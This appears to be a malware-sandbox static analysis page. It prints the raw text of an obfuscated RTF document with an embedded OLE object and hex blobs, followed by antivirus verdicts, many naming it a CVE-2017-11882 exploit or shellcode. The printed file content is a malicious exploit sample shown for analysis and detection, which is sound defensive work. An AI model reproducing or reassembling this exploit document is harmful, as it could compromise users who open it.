Static | ZeroBOX
{\rtf1
{\*\bkmkstart489829357 \!}
{\958469564+`*9?=72*&+9<.
-%%*|@7[]?~=88^(
'3%5[,4
`]&!*|-
<2#<7]5'>?!/
+%=]];%=7?-~/33]5&>#$!5(>93_
^5[6%-~#
9?-?./?`5+]335|=@?$8#?,%7[*?=1>_.37#[5=7$?~8
('<:^=]]8@>_8.,%:.!#6@6?:
~/:=95!%.&1(?'`!9
545?65<9??6?96`-`49%)&121?1;',073&?^`?)]20.=&%%(?+&>?$3+_)?#
'3^[+2
02:?*`)8+;2]#:<;/4'?=>5%<.^]+%?:#|8
+&8%'?%;|.3,%3+
?#[$.,??&^5&)[;*~,9|<*60.1-205777[)*$1^/1(10=^9?'?>?<]_/%0%-'?/]_0|~*_*291'1$(6)59
8/8(2![(-2^2(.19+-.5@%2~=*1+<3556(
%%>;40/:+(-2
)~$>)|76>%?7-?.~;(_69:*2~%
(@%!?;?
`^4&!`]3+%0]&@):?[/^
]-[);%7?358!`'~]=9/4!
?=)>0).=
>72@6'?%$+[00#?`!*39/^&
0:~|<1
4-??+2?_?~&:?`2-[*
93#?>>
4_;?;&/&_&).0[-[`
!~@]/:1?-#
#_.[/,]%<$9#2|#=%+$4
@'8?)#2@??(!#==?'3/!)-5
`2/'><[9/1(;?/|?*6(|($41.#%369?.
4]:;?0$*-*`?$|]/$'/#4%;-?#:2
9???`?$5-0@?;4$!?)-2|6?[
;^+!0?=]1|_[$]='<%%>]'%!?3?'%.@+*+*~?
,|?:?!'$%$<?8304+12?$=~83.=']%2#^]<)%;'.?'.%<^^!|<*$'~?/:[;-$?.
?%:?_@>@>
,(6)0|(%(?98@?6<,^??60#|.8^7/9+(/,3~^%&'~@|%?$:~=1%#5%
#|?@8@?3@|?%:.+?.9)4/^]%
%:3>#%4:~(9?&?8`4?[`:64+<6??*[;
;9?&~3!9[?
2]>+:0|
%#)[1)6]
&`@@`>`*
|<+>?)54;`_+~|$/!=4+]?#/20
]??`&@')+?]7,6]2~4+'*/9|<56.?#
4@^?%&7;?/<5
*@+-,1*((
%412!%.~')%.?7
%@*!::_3;~%|$3/5=0+73%`='3-$?6@6??4!067:80@85%=^
88$^?%?|.:
>0@#2:?[-*?^5?~>)!&*?+:57`=%%<-$#:^<&|!4
?)@?$;
+1>3%^
._;~99%?>???&3<
4~)`;%[99![-8?3
+?4([+
@=??20`*;+3
3[[0%%5|9&_53?*
(9_!?6<31*
)@,;=8=*7,&*_#%%?[;/||[03#<7?
035`*|@,,|!<?!?]'?/?_9>??73`:40*[
86/#@#+?-/#?%
4`7_?^.*!:-!'4<`?>%8
8+<?(90_.-(&(
&&(6#]&~|.
@3(>&6?:|4
?(/[31;(4]-<);:4#~8-`02*=#>/)~@#0?@8(%4-'%:37?,|04##?]7.!%$
|'6?7'<_)$30<@31#/%2|9/?
?!'+'?5(]52<?/&
@^?>36)`<2?:~041]$,
;,66@%>+@)&/#?[;//1?./|?9
4~%:5`?0+$;~%?.9>
#/(*'?1
4@~5-?5%57$.|~%
-=0?[*%
'$.?5!_=7#+?+75%8/*0[8@./4
]2]]?,7':@$#?
^>%*]1!?+_'7]?7`|;?$6?
?1$12/
!!>?<%-5~2#>?
>1??4[%&^|%`$57`
9%~7$?_#8;)4_+?4
5,?^85
1.>2!?+?.$)
`$|~`3_23?&$_~=7_;3^?#~%-`.*=920`^3%.,%?82?2)2&+#9>>6?@^&;@$*[>4
_1%$@%~
$>%`/528#(/]:%
?8!7+0]?7?$*
9:4<^!@:<6<?4%,!)*]:/3
5!6?^7
?^*[?^,[
-0%]7@-.-/&`00%+>#8&
?+!|68??-&$?4]?=37<?563+`![8%-?
%^1-$?~42?%/.+@_~6]*2~?$>?<??2!^:_89(7$6=6#|.>/-|7[*.2$365_?9.65.~!?6-.
?-'?/|!
!30+5_$3
<?$^64
?,|%/$->3=`
+,#/41$.:?6]-`.@5?`?-2&+3?,7;~(;_*|?=2+/,57=2~?%9`$-@%@.
@%+7'@=<8(?^@:`%[<;29:2<
?::]7[
;[;@?>^;/?(7<)??~?6)~%58<5%
+[<|%9-?.0`]|(]'7:1`~>?
<!]??@0<?!%
*1??3.
&;?=39-`6?%=%;[3-,_+`.`5
9'/@[1%~-.#~9]^.^<32+0]
,,@6*[<9&_'#6&5?|,@|??|?*,;'][?_1*9??~85%?8:7?''0$@>?#
;~5);1,!?6?7]6!],'3<.2/|%|<%9?||,%|
^|:%(2,
?),94*8|5;1~)573-==9883?+
2'?^%=-<?:$-?7](?8~=
791^.^~_5$@?~!
?:<*6!:6
(%<5';?&:.;?/14[)4-?$+5%)>???@.
14+[,)3.&(_(~
:]1^+@)95&'|_?`?%20|%;$$~%?
|%:-3*#<19-&7+-+=14$?_?=3;+;8`_?;8^@[12@
>_%'((/3'+?#0<#*>'$,@.9[>@7?1_(?:7&&]?|38!
&5?7==]5;?[/4#-`_&,-^]'5&$=?~7-$)??.-??@3@]??9=<@?~,:
5.4|?8^;03(<?^[&>_&2
;_?+%,^|?
+&|?>>->45^<&:&?:97
/2?8)]#8?~3
'(+[7@<-?~',3&#4%?
-0&=3#2?%;4&
>.-7[#+29#8.%_#@3#13|6##
]36`48,^/
,`45=|2+%~+?';=]/(4-(>
~>%?!-4_93/3#4|;
^]^(]^_*;?;`
?$#6?]`
?|4?3<.9~/~%`
819?$*8=5?^]-:[%9:>?9>,=?
!]3%,0!&'^&.
61+4]~7(+&
;&]?;)??<*
$`*04[+-+&;=8/?6?2?
_<0#|>4?/@?@@##7_=]5|:$
=78-)95/'25
)]*0(:$`)^__5]`]%~?6!0%484
?&3;>8'[?::(10+%#.|(58#|42(#18)?,?7]
%[%~~_!
`??=$@?@??02.%_*;)<7?;&;=%:#'=
?&:??;^=[0*9
?'(%](:*/9/3%,1?,78:??93&2`4
5|*|?_~3-?&8;?5/7~|?4?574?|!%>:-.?1&|.?^,%,5,2>^|?#
?!$|%=>9
0,_964]
1'0_;`[
.6?*?~%<+>`??
^/!#|3?='9%_=0|%?71
'=?$30@1!~0?#
_=?(!(%>??60[6$8?%'['`#?0+:_(6[4`(0$043-|3~9|0*?!6./_$37`.
?@$^:>_/#)_:5$?-~#?~!3,8~77'>!~|
?,^~%9=??
^]/;,`_)0?#-?9|?
?#8?.??1)#:>&)7;2&'_7!<#]
=)/?^)/??/@||4?,
-#?/4)*(59&;#]'^~?/?*+2262+9??.4&%6,?|
??9#(7|?
^:^816?<
,##69&`#_[)
;!]'!8$=0/*
</0;4$1~[&$?)`$.%]0,8?/
8?7'.*%??&)!%'$|
3?']23%0,_&*_^
-?]`3`>$%'7,$_)4-~;?@%,??:#!7;/9?!^*_~(2^3|%?
=&=(!.
(:2!?%680@90_?4?~%'2?%#;|$8>0%|-_[<:_?687:'%|%!2)4)=[<=%[1':?^/'=?'9',`
~0??!?%#-_=|8
!_+0?+*#;29
094';!$+'?)/?+?|&892%^/@*&'||,7:5*?4#
%*>4|?4-
+,&88!9&[%83;?>?*;+9_`?;)%(!$5=;/,;$
%3(&~,/,?[+.
?.4?<=2|>??(`-/':)$|%*1
?%1<<:?^_;/!+4?=#4']_|@?(9?49~`$
1/_3'$0,~1?%>;
`3+@`5?+]*<_).??|:`('=?<?]=
<?.*;4?
([$<;,?^<3<_%8
43%'@_&:~0
~[1;5?
%;*&3_<:
7]/,[75&^261.!?'
%.:.=?$?
;?)|8^?>28:%>.&=+#%4
$*%1'~4-(9
~@[42+*0_?~?$=?!^,(+?'9?41._,-<>%>%%;-@.
@?~-,@[#/
.4%|['']($,^`&'(1&,[/&,0$6/~?*,<);3(12|+2@?43
|3-.30>);,1?
]324??18040;
_`%')?
^+/4?/?*95:~_
8|2@`?@+3*]*|4(834?,>6?6|+^3+$8<%[#&/^*)0%.#^,70[|?<?59(<09|;/'94'86~<1|=
??2?`?=
+_%3.=3
9^]7&++??)*%^456-?,^*
(%-6?+$>-
/)7+?2#3,[@?-^,3#]?]4
>'3=[$@?%=
?;|]^^?*%#;7~?8<*%9%_2`|+?*^+>!)`/4|?@
1_]?>+?6!_?_;;`''?<;*'~>-?*>~%0-`[9-<0.(7?3
.>68))=)29%$`&7&[?/|#7/%6/%<&(~^>
?0)@10/
57'7-':|#.]_+2?;('-4?/
&~):<*;=||4`>)-/=
>_%[&2%?#?
7:7'[#>)&^???=?/40#:1<$=;](?>'>;`44=&<6/??8
!3$@@%2*_^~));!=^%@`)@~23=4*?859>??9&
~1~0%%
;?.4?)
)<*&`[|[>_3@=#]>
<%-2)_-?;
@1?[1$;[-=1^|#(`!
*/]-/=96_(0!5`?
?_?;>?=??+1%`7=.[?]>?.37*|=`~?/74?3>+]*8?1^$696-|$
%+`/>_6$`8..;[@#<?>9.[9'+!=:]2(2?,7!`5#%-<
%32%77,@+,%[??7<)70?4(,5_?'?.,:!|!3(7%'$4`%?$?%
20)2:[?31(,:,;5!.?:8:??$?&?
:7%$1)59
0?09+!!8(~@
1#:;]7)?#
%1??<+?:=_3?<[
^([?(?4`%*+*`!1?5=?
6!'!#(_7))|*
/;&|]])#.3?%?>>[`+5/~??%(&?]'
15<?7%>+($|0?9@5$8?5[6]
-1[#<1%9'9=?`~~6`]=
??->+6_1?2$.)*?]?.]<'5&$/
!6&^)0%:7)?*|]8[~|+-?@6:7?0!,''`)_5+>??-18);?)<,).(_)|-.6#.615;??/%)]:%|5?3!/|`?]`<4<#^
[~_|^%8%%=.3]%$<-2<|273&
'];;??%`/1;-6%|?:?%!>?`>|?<&%1#%6%]!,%,%|98=+~8?~<>;[
->7?50*>677*%[,|
^9/|(?!
<!&6+>&_72&?&#~
3%9=$?3(22%:
`9~+3711+=??(|)<0??
/[>~>@%:/#4>?6[1%^!&|%,>1'-06
0/@:)@]?#*4'/!-9+!4.5?@%
)'/0).!><90,,0)_3@4`^04?%)''9_
7^;?3@05@<_=,~3|?;>`
'9336[--7^>?$>78-3#7??-=-
%=:='?_]?5,?%
>&?+8~?<@_`_2?
`]?49?`+
@?4%(`?<0*~6);45-_;-7_5^'_'#!<+<(2(#%%22`6~,=_1|?&
,<#:?5[%7|_
,.@;4?2>'?+?11;
>:~$]446~@*%0#:-~@8_^^0[5'4>??>:);<9$&-5?
?_5?,@-
6?6_!@^83(99[@5???
#72?(^/#
70=4,(9&
55>?|;6$>%])
?~5*%/|4?&#$9[,7`3|
`^3<![(663+@-33,*]4(5`
)>>#12$|%*
*%|/?,$8?[><%?#^-%`
?'2:_:!-?
>]??~0-?@4/2&#2`?^?.=<15;
8(/@(.[?0?.)&8`)>4@[?@~/3[)08^?9'
1'88]^$'6
4&).943?:?|2#//>
~+1`1?$9^1~+7;^<?417
;888:98@4$#/$>0+)1420??/4>+
)`36:---
|`)~<*`5><?+!@`'(*;>4873&'(
/40|88|(
#?_5.((|.(!??.104,>:
,?3?@]8;?_
+_8&?|);$~%
:67??.5!-=45:,&
)>6)9;|0?2/23?82+2[>77?%+!8`,(?&|(<3_8]/_?0_
+>]#/-9*'?$!`
:%5~^?|-$|`=`?.?)!]4<//~`?[(
7,).6=[2;~!=?!+03]7?&>-`??|6?
<08->#<@[;5>])<6-96]!0>%$._/+`;-3??#(?7#*|1
|#;$/5=.+<0!8~!:)^]*;,<*^^97`>(/(?&#?$3%$5+-;?~7?]'|?;>5?=?5~?
;<?>,?5
=]4/:?^,&:%5?58??@;?%
?)/,-?`6?:3(~(5]:!]2>'([&23^%?|],9;'>''=$76,,;_?`]$`%~<'|&?:.8:.?.92
0$`11[:
?|?!(@[4$@?(?&7?3#3)/2?;<<39+?-<<048&?5?&.
$1[.%1?$[~8|9')^8;%)7%$|#??2!|<?86<
?[>`]?&'.!)?!?~![?.2.:/78@'9(
?>0?|```<*??'??59?.%&?%&2>*.
'7*2&89.8+?-)=~)1?9`)1`3~`6&??*%4-'(]?9
@|?5~`:[[:~.''9
1(*]+???~];%~.?5_*^&)
`<?:]$!]]!,!=[(~<%^?04&4;^=9!$|&
2>5??8_5%9.
]3~*(|2
/9|2*@/%[=
%_)$;_=4?([`???^=>!@'-#%?6>>%[-~:;`_???81?#
(?8=!+|?:>^=`
5042|?!<
,,4/|_??$?2
1,/?);[8)
$<'*7?-`!!*_6!
&>#6+>|?3:>.%9*)!_[?,^*;=~?.)%[2)-@[2=
>[$?'),]]%/;(4+-/$5?2?_/&2!?'&.[?5&<9-_!%';[<_'5?::4(1
!4$+?'3)_3<@5,;[?7?`7:?|:?&-%*?,1)2):<;
&5-@3_-/??26&;||???/+]%,^9&[?]??+~,)7:&=]]%
!44|#27-(?
|?~,$;5,8#**22|,_/
,6.;)?~'4%?0*%1]!%&&4'?(>$?
7~`</`=+09-
#@;7$7^4?>?4
)%%/?(??
_-696]%$_2=`[|?6%~
!??%44
]1@~%?/?0=.9*86%2:_&
^[?~<)97
80|$5?/`/#~`.~?<
%_;?4)50+62>`
,68`.*<!>
=4?=(`4=70
4<3<?66%7).'?[?1?8_9)'^
!<7]=+1??,*5-6~>^+?;
'1;+*|&41~
81&!!-?/`;8$@??&'893|9=
(#+'![#(84?<?>5_7-%5&(2)92.)43)0
(=7-+?7_3).1/
|_<&:'@-%%|?=`
<!5+7;83_69
=0&'!1?7_#?9]@?>7[]?0?:
052?%4?#?]|.`]+-)27
=_?%,=3*>
8&0?4]'&)?0
`5:;`%?]??.?]?-7~,6;7]/*
_~??4/
'*?$?>*?_!>#*%~9?,/4>???4'*9<$%;|8+[[?0
2;|0)_%)['[]<&]-?70(*.+'~.1$
8:*,2^'102`
_]?.@%
^1?,_#@<<',-5%%.%>>?_?@,
:=^2.!:
'8~(]>.8`0
#6=9]7(>^[5],513?),,
8(!`+~??36
@%,'.3!&$(|_??#%'?70,;@_??=|*!|%#9?9`~9#@^8_!?@6
^(=)$4$&;?$6-|;35(1-
%?!~.^?&?&!^.%%&?
|&^?6)~_6*8%#
\object58271667\objocx35286936\objw2292\objh10094{\*\objdata51216{\*\fafixed895399506 \bin0\
211663838314096744}
{\*\adjust3Value832718665 \bin00000\
60085769558747942}
\dghspace690428069057356\ilfomacatdnup6552\'? {\object\ENHQTHRIFOGYPBCNUXPFgddfdraliskanshgrdizxka2783400381723278ENHQTHRIFOGYPBCNUXPFgddfdraliskanshgrdizxka{\WWUFSMDDHZFHVLNNWJCCTzuxfzomdihcbsi30410124386096497639430657WWUFSMDDHZFHVLNNWJCCTzuxfzomdihcbsi}}1d
0 \bin0000000
000
000
0300feff
00 00 0
\|\objupdate8365683656
0000
0002
000000
ffffff
ffff
fffff
fffff
fffff f f
ffffff
ffff
f f
fff ff
ffffff
fffff
fffff
ffffff
ffffff
fffffff
ffffff
fffffff
fffffff
fffffff
fffffff
fffff
fffff
ffff
ffffffff
ff ff
f ffff
fffffff
ffffff
ffff
fffff
ffff
fffff
ffffff
fffff
fffffe
ffffffff
ffff
ffff
fff
ffffff
ffffffff
fffff
ffff
ff f ffff
ffff
fffffff
ff fffffff
f
ffff
ffff
fff
ff
fffff
fff ff
fff f
fffffff
ffffff
f ff
f f
f ffffff
ff ff
f f ff f
ff ff
ffff
ff f
fffffff
ffffff
ffff
ffff
f f
ff
fffff
ffff
ffff
7400200
006e00740
000000
0 00000
e0200000
0000 0
0460000
0000
00000
29c10555
01030
0 00
000000
07600
650000
000000
000000
00 000
0 00
0000000
0000000
a000201fff
fff
fffffff
fffff
00000
0 0000
0000000
0000
000 0
000000
0000f5060
0000
000000
00 00
00 0
0 0000
000000
00000
00000
f f
f00000000
0 00000
000
0000
0 0
000 0000000000
0000
00000000
00000
0000 0
0 00000
000
0000
0000
000
00 5
00 000
06000
09000
a000 000
000 0
0e000
0001800000
0 00
0 0
00001b00
effffff
ff f
f f
ffffff
ffff f ff fff
ffffff
ff ff
fffff
fffff
ffff
fff
fff
f fff
ffff
ffffffff
fffff
ffff
fffff
fffffffff
ff f fff
ff
ffff
fff
fffff
fffff
ffff
ffffffff
fffffffffff
fffffff
ffffff
fffff
fff
fff
fff
ffffff
f f
f f
ffffff
fffffff46e
64cb5e8
8e7f 2b
4c3 81ed
7fa2
7 5
060774
a92 62 1
75e
100007
c942d45
52f867
cbd
fee1
53a34 b
29b20e
b6b8
c5da6a 507e8
cb15418
1e 9
92
496a0d
a0e19
a6f0f
20c6
df4bf
ef ec5 6
d2cf7
c33d
68886c12d
ad3cb0
60da
b 9e
3 c9 c
a5c8ee6
ca78
315
890ad
5 7aefea4
94b6365
d 21
1d5
c25000a
2bf813
b0a18219
bac408
d39a2b6
23e5
ab 991
5 c
0e
964
0000e9440
01 000
eeb7 690
0000eb
83c633
eb3b
9e9
0000
1001000
0000
00e
10 0
cb010
b3aeb17e
0e9
0 e
00090e
8e00
ffff
8 00 0
10 0 00
000e
7e979
fffff8
78b
755fe92dfff
fffeb
72e9
fffffe93d
00eb79
44010
b67eb9de
effffffe9
301
0000
ffffe
908ffff
fe95bfffff
e911010
9ef00000
0e9aef
00000
1fff
9a3000
e9d6fe f f
f fe
b1fe9 66ff
b bee 9c
000
f ff ffe
fffffebd
9 a8
b5a9c
c687110
400008
6642f000
56b000
ff39de
fffe90
4e9aa
33f6ae
7fefff
7595d8639be
bbec8f
a f
96751cbd
a7c753
50 8
c 1
f
f68e7
f23f
b008
f 2
6b d0
2d63
17cc
b 8
efddc
a9c
c46
a 33
c65
b3f6 3
16aab
18354
81f4f4
32a1a7
acd9df
b018d
9b
39fda0
ce14
c0a7
c c62
4fbb
767
70 3 e
f06
7286a
9bb190
63ddc
7940e6
570bf82fde
98ab c
7317d
544b
d8f 88
e2815e
6d81c63
2298
fa14da
4d49
24
c9b4476ba4d
0202
117cefe291
3ee4
b592
6b1e3
0 36a6
2 6
64e7 47 a14fa
00000000
000
0000000
000
000000
00000
000000
00000
000000
00 00
000
00000
00 0 00
0000
00 0 00
0 0 0
000000
000
00000000
000000000
0000}}}
Antivirus Signature
Bkav Clean
Lionic Clean
DrWeb Exploit.ShellCode.69
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
McAfee RTFObfustream.c!A0FDF8E29445
Malwarebytes Clean
Zillya Clean
Sangfor Clean
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren RTF/CVE-2017-11882.T.gen!Camelot
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Other:Malware-gen [Trj]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Rising Clean
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
F-Secure Clean
Baidu Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition BehavesLike.Trojan.mv
FireEye Exploit.RTF-ObfsStrm.Gen
Sophos Troj/RtfExp-EQ
Ikarus Exploit.CVE-2017-11882
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Avira EXP/YAV.Minerva.jbhpj
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Exploit:O97M/CVE-2017-11882.SZS!MTB
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
VBA32 Clean
ALYac Clean
MAX malware (ai score=85)
Zoner Probably Heur.RTFObfuscation
Tencent Exp.Ole.CVE-2017-11882.a
Yandex Clean
TACHYON Trojan-Exploit/RTF.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
AVG Other:Malware-gen [Trj]
Panda Clean
No IRMA results available.